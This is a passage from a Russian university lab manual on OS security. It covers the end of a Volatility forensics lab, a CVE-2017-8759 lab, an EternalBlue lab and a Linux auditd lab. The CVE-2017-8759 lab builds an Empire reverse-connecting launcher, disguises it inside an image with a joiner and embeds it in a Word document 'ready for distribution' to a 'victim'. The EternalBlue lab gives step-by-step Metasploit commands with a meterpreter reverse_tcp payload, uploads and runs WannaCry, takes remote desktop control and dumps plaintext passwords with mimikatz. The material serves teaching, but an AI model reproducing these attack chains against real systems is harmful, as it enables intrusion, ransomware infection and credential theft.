15. Ввести эту же команду для идентификатора процесса: 496
(lsass.exe):
"C:\volatility-2.3.1.standalone.exe" --profile=WinXPSP2x86 malfind -D
D:\output/pid-496 –p 496 -f MEMORY.raw

Рис 15 DLL не обнаружено.


В данном случае никакой DLL не обнаружен подключаемым модулем
malfind (Рис 15).

Задание для самостоятельной работы


1.Настроить дамп памяти, сделать всё, что было написано в методичке.
2.Найти все вредоносные процессы в дампе памяти.
Список источников и литературы
1. https://support.kaspersky.com/common/diagnostics/8003#block3

2. https://www.white-windows.ru/kak-iskusstvenno-vyzvat-sinij-ekran-

smerti-v-lyuboj-versii-windows/
3. https://docs.microsoft.com/en-us/sysinternals/downloads/notmyfault

4. https://www.andreafortuna.org/cybersecurity/volatility-my-own-

cheatsheet-part-7-analyze-and-convert-crash-dumps-and-hibernation-
files/
5. https://www.white-windows.ru/kak-iskusstvenno-vyzvat-sinij-ekran-

smerti-v-lyuboj-versii-windows/
6. https://www.kv.by/archive/index2008061109.htm

7. http://bsodstop.ru/poleznye-stati/analiz-dampa-pamyati

8. https://www.volatilityfoundation.org/about

9. http://bsod-help.ru/

10. http://www.spy-soft.net/the-volatility-framework/

11. https://www.howtoforge.com/tutorial/how-to-install-and-use-

volatility-memory-forensic-tool/
12. https://www.eduherald.ru/ru/article/view?id=17411
13. https://technical.nttsecurity.com/post/102egyy/hunting-malware-with-

memory-analysis
14. https://directory.fsf.org/wiki/Volatility
Лабораторная работа № 10. Реализация эксплойта на Windows NET
Framework(CVE-2017-8759).
Цель работы
Целью работы является наглядная эксплуатация уязвимости Windows
NET Framework (CVE-2017-8759). Научиться создавать .bat файл и внедрять
его в Word документ, также получить контроль над уязвимой системой.
Введение
12 сентября 2017 года, компания Microsoft представила патчи для
восьмидесяти с лишним проблем, 39 из которых допускали выполнение
произвольного кода. Среди устраненных проблем оказалась 0-day
уязвимость, которая уже использовалась для фактических атак, а также три
опасных бага, детальная информация о которых была опубликована до
выхода патчей.0-day уязвимость получила идентификатор CVE-2017-8759.
Она позволяет удаленно выполнять произвольный код на уязвимом
устройстве, эксплуатируя проблему в .NET Framework (а именно в парсере
SOAP WSDL (Web Services Description Language). Баг обнаружили
специалисты компании FireEye. После выхода патча они сообщили, что эту
уязвимость, еще в июле 2017 года, начали использовать для
распространения правительственной малвари FinFisher (вредонос также
известен под названиями FINSPY и WingBird).
Уязвимость нулевого дня, 0day (англ. zero day) — неустраненные
уязвимости, а также вредоносные программы, против которых еще не
разработаны защитные механизмы. Этот термин означает, что у
разработчиков было 0 дней на исправление дефекта: уязвимость или атака
становится публично известна до момента
выпуска исправлений производителем ПО (то есть потенциально уязвимость
может эксплуатироваться на работающих копиях приложения без
возможности защититься от нее). Уязвимость нулевого дня, 0day (англ. zero
day) — неустраненные уязвимости, а также вредоносные программы, против
которых еще не разработаны защитные механизмы. Этот термин означает,
что у разработчиков было 0 дней на исправление дефекта: уязвимость или
атака становится публично известна до момента выпуска исправлений
производителем ПО (то есть потенциально уязвимость может
эксплуатироваться на работающих копиях приложения без возможности
защититься от нее).
Уязвимости CVE-2017-8759 подвержены операционные системы
семейства Microsoft Windows. Эксплуатация данной уязвимости с
внедрением стороннего кода производится с помощью уязвимого компонента
Microsoft.NET Framework – SOAP WSDL Parser, позволяет получить
пользовательские права на уязвимой системе. 
Ход работы

1) Для выполнения лабораторной работы необходимо скачать и установить:


1. Empire - https://github.com/EmpireProject/Empire (рис.1).

2. Mega Joiner - https://zhacker.net/trojan-viruses/189-mega-joiner. (для

windows)

Рис. 1 Клонирование Empire.

2) В терминале выбрать папку “Empire“ и необходимо и пройти в папку


“Setup”, запустить установку командой ./install.sh. (рис.2)
Рис. 2 Установка Empire

3)После установки вернуться в каталог Empire и запустить ./empire. Вы


увидите следующий интерфейс. (рис.3)

Рис. 3 Начальное состояние Empire

4) Далее следует команда «Listeners».(рис. 4)

Рис. 4 Listeners
5) После командой «uselistener http» указать название для листенера. После
чего использовать команду «info» и вывести все данные об этом “листенере”,
необходимо изменить некоторые параметры командой.

Рис. 5 Информация о листенерс.

6) Далее требуется указать IP командой «set Host http://<<свой ip адрес>> :


4444», порт «set Port 4444». Следующая команда «execute». (рис.6)

Рис. 6 Указание IP и порта.

7) После изменения параметров перейти в главное меню командой «main».


Рис. 7 Создание кода

8) Для создания бат - файла команда «usestager multi/launcher» => «set listener
http» => Execute. (рис.8). После чего должно сгенерироваться код, копируем
его в блокнот и сохраняем в формате .bat

Рис. 8 Сгенерированный код


Рис. 9 Сохранение бат файла

9) Далее для эффективности необходимо на ОС windows замаскировать бат


файл. Для этого нужно открыть программу Mega Joiner и закинуть в него
простым перетаскиванием этот батник и любое фото.

Рис. 10 «Склейка» бат файла и картинки.


10)После правой кнопкой мыши в пустом поле, необходимо выбрать пункт
«Склеить!». И сохранить .exe файл.

Рис. 11 Сохранение файла в формате .exe

11) После чего нужно закинуть файл в Word. Файл готов к распространению.
12) После чего необходимо запустить файл двумя кликами, находясь в одной
сети с жертвой. И в Empire приходит оповещение об активации агента.

Рис. 12 Оповещение об активации агента

13) Далее в главном меню командой и перейти к сеансам командой =>


«agents».
Рис. 13 Информация об агентах

14) И для удобства необходимо переименовать жертву командой => «rename


<<имя которое стоит>> <<новое имя>>.

Рис. 14 переименование жертвы

15) Командой => «interact» <<имя жертвы>> перейти к определенной жертве.


16) При помощи команды «help» видны все доступные возможности.
Задание для самостоятельной работы

1.Скачать и установить Empire и Mega Joiner, сделать всё, что было


написано в методичке.
2. Сделать скриншот экрана жертвы и получить информацию о системе
жертвы.
Список истоников и литературы
1. Рекомендации по нейтрализации угроз, связанных с уязвимостью CVE-
2017-8759.
https://habr.com/company/infosecurity/blog/338256/
2. Уязвимость нулевого дня (0day).
https://tcinet.ru/press-centre/glossary/article.php?ELEMENT_ID=5120
3. Методика атак: Exploit CVE-2017-8759 (Microsoft Windows .NET
Framework RCE).
https://codeby.net/threads/windows-net-framework-exploit-cve-2017-
8759.60523/
4. Эксплойт на Windows .NET Framework (CVE-2017-8759).
https://github.com/bhdresh/CVE-2017-8759
Лабораторная работа №11. Реализация эксплоита «EthernalBlue»
посредством Metasploit Framework
Цель работы: ознакомиться с работой эксплоита «EternalBlue» и методиками
управления ПК «жертвы».
Введение
Методическое указание является частью лабораторного практикума по
дисциплине «Безопасность операционных систем» для студентов
направления 590100 «Информационная безопасность».
Актуальность проблемы обеспечения безопасности от эксплоитов на
сегодняшний день неоспорима. Данное методическое указания позволяет
студентам изучить теоретические основы и принципы эксплуатации
уязвимости «EternalBlue», познакомиться с основными методами защиты от
эксплоита. Студенты имеют возможность получить знания в области
настройки защиты ПК от эксплоитов и научится их обнаруживать.
Понимание работы эксплоита в компьютерных системах формирует
профессиональные знания в области пентеста для последующей работы
выпускника в сфере информационной безопасности компьютерных систем.

Краткие теоретические сведения


Экспло́ит (англ. exploit, эксплуатировать) — компьютерная программа,
фрагмент программного кода или последовательность команд,
использующие уязвимости в программном обеспечении и применяемые для
проведения атаки на вычислительную систему. Целью атаки может быть как
захват контроля над системой (повышение привилегий), так и нарушение её
функционирования (DoS-атака).
EternalBlue (или CVE-2017-0144) — кодовое имя эксплойта,
эксплуатирующего компьютерную уязвимость в Windows-реализации
протокола SMB, к разработке которого, как считается, причастно Агентство
национальной безопасности (США). Секретные сведения об уязвимости и
исполняемый код эксплойта были опубликованы хакерской группой The
Shadow Brokers 14 апреля 2017 года. Уязвимость была использована при
распространении вредоносного ПО WannaCry в мае 2017 года, а также при
распространении Petya в июне 2017 года.
Описание уязвимости. Эксплоит EternalBlue использует уязвимость в
реализации протокола Server Message Block v1 (SMB). Злоумышленник,
сформировав и передав на удалённый узел особым образом подготовленный
пакет, способен получить удалённый доступ к системе и запустить на ней
произвольный код. Первое публичное использование эксплоита EternalBlue
было зарегистрировано 21 апреля 2017 года, когда программа-бэкдор
DoublePulsar, основанная на коде АНБ, поразила свыше 200 тысяч
компьютеров в течение нескольких дней. 12 мая 2017 года появился
шифровальщик WannaCry, использовавший эксплоит EternalBlue и код
DoublePulsar, который поразил десятки тысяч компьютеров в Интернете.
Размах атаки был настолько обширен, что побудил Microsoft выпустить
обновления к неподдерживаемым ОС Windows XP/Windows Server 2003,
Windows Vista и Windows 8.
Компания-разработчик Microsoft подтвердила, что уязвимости подвержены
все версии Windows, начиная с Windows XP и заканчивая Windows Server
2016, то есть уязвимость оставалась неисправленной на протяжении по
крайней мере 16 лет. Уязвимость была устранена в серии обновлений MS17-
010.
Т.о. используя эксплоит EternalBlue возможно распространение вредоносного
ПО со следующими действиями:
1. получение паролей и логинов пользователей ОС Windows;
2. бэкдор к данным, удаленному управлению ОС и компьютером в
целом;
3. распространение троянов, сетевых червей и программ-
вымогателей;
4. Слежение и запись действий пользователя ОС;
5. Запись видео с веб-камеры;
6. и другие;

1. Предварительная работа
1.1. Перед началом работы необходимо обновить дистрибутив Kali Linux и
инструмент Metasploit Framework выполнив следующие команды в консоли:
apt-get update
apt install metasploit-framework
1.2. Запускаем Metasploit Framework командой:
msfconsole
1.3. Запустим модуль проверки на наличие уязвимости в OC:
use auxiliary/scanner/smb/sbm_ms17_010
set RHOSTS «IP-адрес жертвы»
run
Если видим данное сообщение, то наша «жертва» уязвима к эксплоиту

Рис. 1. Подтверждение уязвимости «жертвы» эксплоиту.


Теперь мы можем приступать к процессу эксплуатации «EternalBlue»

2. Процесс эксплуатации «EternalBlue»


2.1. Прописываем в консоли команду, для скачивания эксплоита:
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-
Metasploit
2.2. Затем копируем файл eternalblue_doublepulsar.rb в /usr/share/Metasploit-
framework/modules/exploits/windows/smb
2.3. Запускаем Metasploit Framework командой:
msfconsole
2.4. Выбираем наш загруженный эксплоит командой:
use exploit/windows/smb/eternalblue_doublepulsar
2.5. Настраиваем эксплоит:
set DOUBLEPULSAR PATH /root/deps – указываем путь к скачанной
папке deps
set ETERNALBLUEPATH /root/deps – указываем путь к скачанной
папке deps
set PROCESSINJECT lsass.exe – указываем процесс через который
производим инъекцию
set TARGERARCHITECTURE указываем архитектуру жертвы
set PAYLOAD
для архитектуры х64 пишем: windows/x64/meterpreter/reverse_tcp
для архитектуры х32/86 пишем windows/meterpreter/reverse_tcp
set LHOST IP-адрес атакующего
set RHOST IP-адрес жертвы
show targets – смотрим список ОС подверженных уязвимости и ищем
ОС жертвы.
set target указываем версию ОС жертвы
exploit – запускаем эксплоит на выполнение

Если видим данное сообщение, то эксплоит выполнил свою задачу

Рис. 2. Успешная реализация эксплоита


Теперь нам доступна сессия meterpreter и далее мы приступим к фазе
постэксплуатации

3. Реализация вируса-вымогателя.
В сессии meterpreter прописываем команду: getuid, для просмотра нашего
уровня привилегий. Если они не системные, то прописываем команду:
getsystem
Затем загружаем программу-вымогатель на ПК жертвы, предварительно
скачав ее с интернета, командой:
upload /root/wannacry.exe C:\\
Далее запускаем командную строку и наше приложение:
shell
cd C:\\
wannacry.exe

Все на ПК жертвы будет следующий экран:


Рис.3. Успешный запуск программы-вымогателя
4. Удаленное управление компьютером «жертвы».
В сессии meterpreter прописываем команд: run getgui -u <имя пользователя>
-p <пароль>
После успешного завершения команды, открываем новое окно консоли и
прописываем команду:
rdesktop <IP-адрес ПК жертвы> -u <имя пользователя> -p <пароль>
После этого у нас должно всплыть окно с загрузкой ОС жертвы

Рис. 4. Успешное получение удаленного доступа к ПК жертвы.

5. Получение логинов и паролей пользователей ОС.


В сессии meterpreter прописываем команду: load mimikatz, для загрузки
модуля mimikatz
Далее командой: wdigest мы узнаем логины и пароли зарегистрированных
пользователей ОС в открытом виде

Дополнительные возможности meterpreter можно узнать с помощью


команды: help/? или по ссылке https://habr.com/post/131112/ |
https://xakep.ru/2011/03/22/54887/ | https://www.exploit-
db.com/docs/english/18229-white-paper--post-exploitation-using-meterpreter.pdf |
https://www.computerweekly.com/tip/Metasploit-tutorial-part-2-Using-meterpreter
| https://www.computerweekly.com/tip/Metasploit-tutorial-3-Database-
configuration-post-exploit-affairs

Задания для лабораторной работы


1. Заразить виртуальную машину с ОС Windows XP/7/8 без обновления
исправлений MS17-010;
2. Реализовать вирус-вымогатель на ПК «жертвы»:
3. Произвести удаленное управление ПК «жертвы»:
4. Получить логины и пароли пользователей ОС ПК «жертвы»;
Лабораторная работа №12. Auditd – система аудита в ОС Linux
Цель работы – В методическом пособии рассмотрена установка, настройка и
использование Auditd на серверах под управлением операционной системы
Linux.
Что это такое?

Linux Audit Daemon - это среда, позволяющая проводить аудит событий в


системе Linux. Используя мощную систему аудита возможно отслеживать
многие типы событий для мониторинга и проверки системы, например:

● доступ к файлам;
● изменение прав на файлы;
● просмотр пользователей, изменивших конкретный файл;
● обнаружение несанкционированных изменений;
● мониторинг системных вызовов и функций;
● обнаружение аномалий, таких как сбои;
● мониторинг набора команд.

Установка и настройка

Для установки используйте ваш пакетный менеджер, например для


Debian/Ubuntu:

sudo apt-get install auditd

В cостав этого пакета входят демон auditd и несколько вспомогательных


утилит:

● auditctl — утилита для управления демоном auditd; позволяет получать


информацию о текущем состоянии подсистемы аудита, а также
добавлять и удалять правила;
● autrace — утилита для аудита событий, порождаемых процессами
(работает по тому же принципу, что и strace);
● ausearch — утилита для поиска событий в журнальных файлах;
● aureport — утилита для генерации отчётов о работе системы аудита.

На серверах CentOS auditd обычно уже предустановлен (пакеты audit and


audit-libs).

Конфигурирование
Настройки подсистемы аудита хранятся в конфигурационном файле
etc/audit/auditd.conf.
Рисунок 1 Конфигурационный файл

Он содержит в числе прочих следующие параметры:

● log_file — файл, в котором будут храниться логи подсистемы аудита;


● log_format — формат, в котором будет сохранены логи;
● freq — максимальное число записей протокола, которые могут
храниться в буфере;
● flush — режим синхронизации буфера с диском (none — ничего
не делать, incremental — переносить данные из буфера на диск
с частотой, указанной в значении параметра freq; data —
синхронизировать немедленно, sync — синхронизировать как данные,
так и метаданные файла при записи на диск);
● max_log_file — максимальный размер файла лога в мегабайтах;
● max_log_file_action — действие при превышении максимального
размера файла лога;
● space_left — минимум свободного пространства в мегабайтах,
по достижении которого должно быть осуществлено действие,
указанное в следующем параметре;
● space_left_admin — указывает, что делать, когда на диске недостаточно
свободного места (ignore — ничего не делать; syslog — отправлять
в syslog, email — отправлять уведомление по почте; suspend —
прекратить запись логов на диск; single — перейти
в однопользовательский режим; halt — выключить машину)
● disk_full_action — действие, которое нужно осуществить при
переполнении диска (этот параметр может принимать те же значения,
что и space_left_admin).

Создание правил

Для добавления и настройки правил используется команда auditctl. Вот


список её опций:

● -l — вывести список имеющихся правил;


● -а — добавить новое правило;
● -d — удалить правило из списка;
● -D — удалить все имеющиеся правила.

Чтобы создать новое правило, нужно выполнить команду вида:

$ auditctl -a <список>, <действие> -S <имя системного вызова> -F <фильтры>

Сначала после опции -а указывается список, в который нужно добавить


правило. Всего существует 5 таких списков:

● task — события, связанные с созданием новых процессов;


● entry — события, которые имеют место при входе в системный вызов;
● exit — события, которые имеют место при выходе из системного
вызова;
● user — события, использующие параметры пользовательского
пространства;
● exclude — используется для исключения событий.

Затем указывается, что нужно делать после наступления события. Здесь


возможны два варианта: always (события будут записываться в журнал)
и never (не будут).

После опции -S идёт имя системного вызова, при котором событие нужно
перехватить (open, close и т.п.).

После опции -F указываются дополнительные параметры фильтрации.


Например, если нам требуется вести аудит обращений к файлам
из каталога /etc, правило будет выглядеть так:

$ auditctl -a exit,always -S open -F path =/etc/

Можно установить и дополнительный фильтр:

$ auditctl -a exit,always -S open -F path =/etc/ -F perm = aw

Аббревиатура aw означает следующее: а — изменение атрибута (attribute


change), w — запись (write). Формулировка perm = aw указывает, что для
директории /etc нужно отслеживать все факты изменения атрибутов (а —
attribute change) и w (w — write).

При настройке слежения за отдельными файлами можно опустить опцию


-S, например:

$ auditctl -a exit,always -F path =/etc/ -F perm = aw


Файлы правил

Правила можно не только задавать через командную строку,


но и прописывать в файле etc/audit/audit.rules.

Рисунок 2 Переход к файлу с настройками правил

Начинается этот файл с так называемых метаправил, в которых


задаются общие настройки журналирования

Рисунок 3 Правила общей настройки журналирования


# удаляем все ранее созданные правила
-D

# задаём количество буферов, в которых будут храниться сообщения


-b 320

# указываем, что делать в критической ситуации (например, при


переполнении буферов):
0 - ничего не делать; 1 - отправлять сообщение в dmesg, 2 - отправлять ядро в
панику
-f 1

Далее следуют пользовательские правила. Их синтаксис предельно


прост: достаточно просто перечислить соответствующие опции команды
auditctl

Рисунок 4 Пользовательские правила


Рисунок 5 Пользовательские правила(продолжение)

# отслеживать системные вызовы unlink () и rmdir()


-a exit,always -S unlink -S rmdir

# отслеживать системные вызовы open () от пользователя с UID 1001


-a exit,always -S open -F loginuid=1001

# отслеживать доступ к файлам паролей и групп и попытки их изменения:


-w /etc/group -p wa
-w /etc/passwd -p wa
-w /etc/shadow -p wa
-w /etc/sudoers -p wa

# отслеживать доступ к следующей директории:


-w /etc/my_directory -p r
# закрыть доступ к конфигурационному файлу для предотвращения
изменений
-e 2

Изменения конфигурации вступят в силу после перезапуска демона auditd:

$ sudo service auditd restart

Анализ журнальных файлов: утилита aureport

Все журнальные файлы сохраняются в директории /var/log/audit


в машиночитаемом формате. Их можно сделать человек понятными c
помощью утилиты aureport.

Если ввести команду aureport без аргументов, мы увидим общую


системную статистику (количество пользователей системы, общее
количество системных вызовов, число открытых терминалов и т.п.):

Рисунок 6 Пример использования команды aureport


Воспользовавшись опцией -au (или −−auth), можно
просмотреть информацию обо всех попытках входа
в систему:

$ sudo aureport -au

Рисунок 7 Просмотр всех попыток входа в систему с


начала аудита

В аureport поддерживается фильтрация по дате и времени:

$ sudo aureport -s --start 12/07/18 18:57 --end 12/07/18 18:59

Можно указывать как конкретные время и дату, так и специальные


человекопонятные конструкции:

● now — текущий момент;


● yesterday — вчерашнее сутки;
● recent — 10 минут назад;
● this-week (или this-month, this-year) — текущая неделя (месяц, год).
Рисунок 8 Пример фильтрации по дате и времени

С помощью aureport можно просмотреть информацию о действиях


любого пользователя системы. Для этого нужно сначала узнать id этого
пользователя:

$ id user

и затем выполнить следующую команду:

$ sudo ausearch -ui <здесь вводится id usera> --interpret

Рисунок 9 Получение id юзера и логи о его действиях


Анализ процессов с помощью утилиты autrace

В некоторых случаях бывает полезным получить информацию


о событиях, связанных с одним конкретным процессом. Для этой цели можно
воспользоваться утилитой autrace. Предположим, нам нужно отследить
процесс date и узнать, какие системные вызовы и файлы он использует.
Выполним команду:

$ sudo autrace /bin/date

На консоли появится следующий текст:

Рисунок 10 Пример отслеживания системного процесса


date

Обратим внимание на последнюю строку вывода: в ней указана


команда, с помощью которой можно получить более подробную
информацию. Выполним эту команду и передадим вывод утилите aureport,
которая преобразует его в человекочитаемый формат:

$ sudo ausearch -p 8422 --raw | aureport -f -i

В результате мы получим вот такой отчёт:


Рисунок 11 Подробная информация о процессе ( на данном скриншоте
можно увидеть, что никаких интересных событий с процессом не
происходило).

Дополнение

Централизованное хранение логов

Для отправки логов подсистемы аудита в централизованное хранилище


используется плагин audisp-remote. Он входит в пакет audisp-plugins, который
нужно устанавливать дополнительно:

$ sudo apt-get install audisp-plugins

Конфигурационные файлы всех плагинов хранятся в директории


/etc/audisp/plugins.d.

Настройки удалённого логгирования прописываются


в конфигурационном файле /etc/audisp/plugins.d/audisp-remote.conf.
По умолчанию этот файл выглядит так:

active = no
direction = out
path = /sbin/audisp-remote
type = always
#args =
format = string
Чтобы активировать отправку логов в удалённое хранилище, заменим
значение параметра active на yes. Затем откроем файл etc/audisp/audisp-
remote.conf и в качестве значения параметра remote_server укажем буквенный
или IP-адрес cервера, на котором будут храниться логи.

Чтобы принимать логи с удалённых хостов и сохранять их на сервере,


в файле /etc/audit/auditd.conf нужно прописать следующие параметры:

tcp_listen_port = 60
tcp_listen_queue = 5
tcp_max_per_addr = 1
##tcp_client_ports = 1024-65535 #optional
tcp_client_max_idle = 0

Задание для самостоятельной работы


1. Установить на свою Linux систему утилиту Auditd, выполнить
всё, что описано в методичке.
2. Дополнение выполнять обязательно.
3. Логирование доступа к директории, неудачных и удачных
попыток ввода.

Список литературы

1. https://habr.com/company/selectel/blog/267833/

2. https://1cloud.ru/help/security/audit-linux-c-pomoshju-auditd

3. https://xakep.ru/2011/03/30/54897/

4. https://www.systutorials.com/docs/linux/man/8-auditd/

5. https://xakep.ru/2011/03/30/54897/

6. http://rus-linux.net/MyLDP/admin/file-monitoring-with-

auditd.html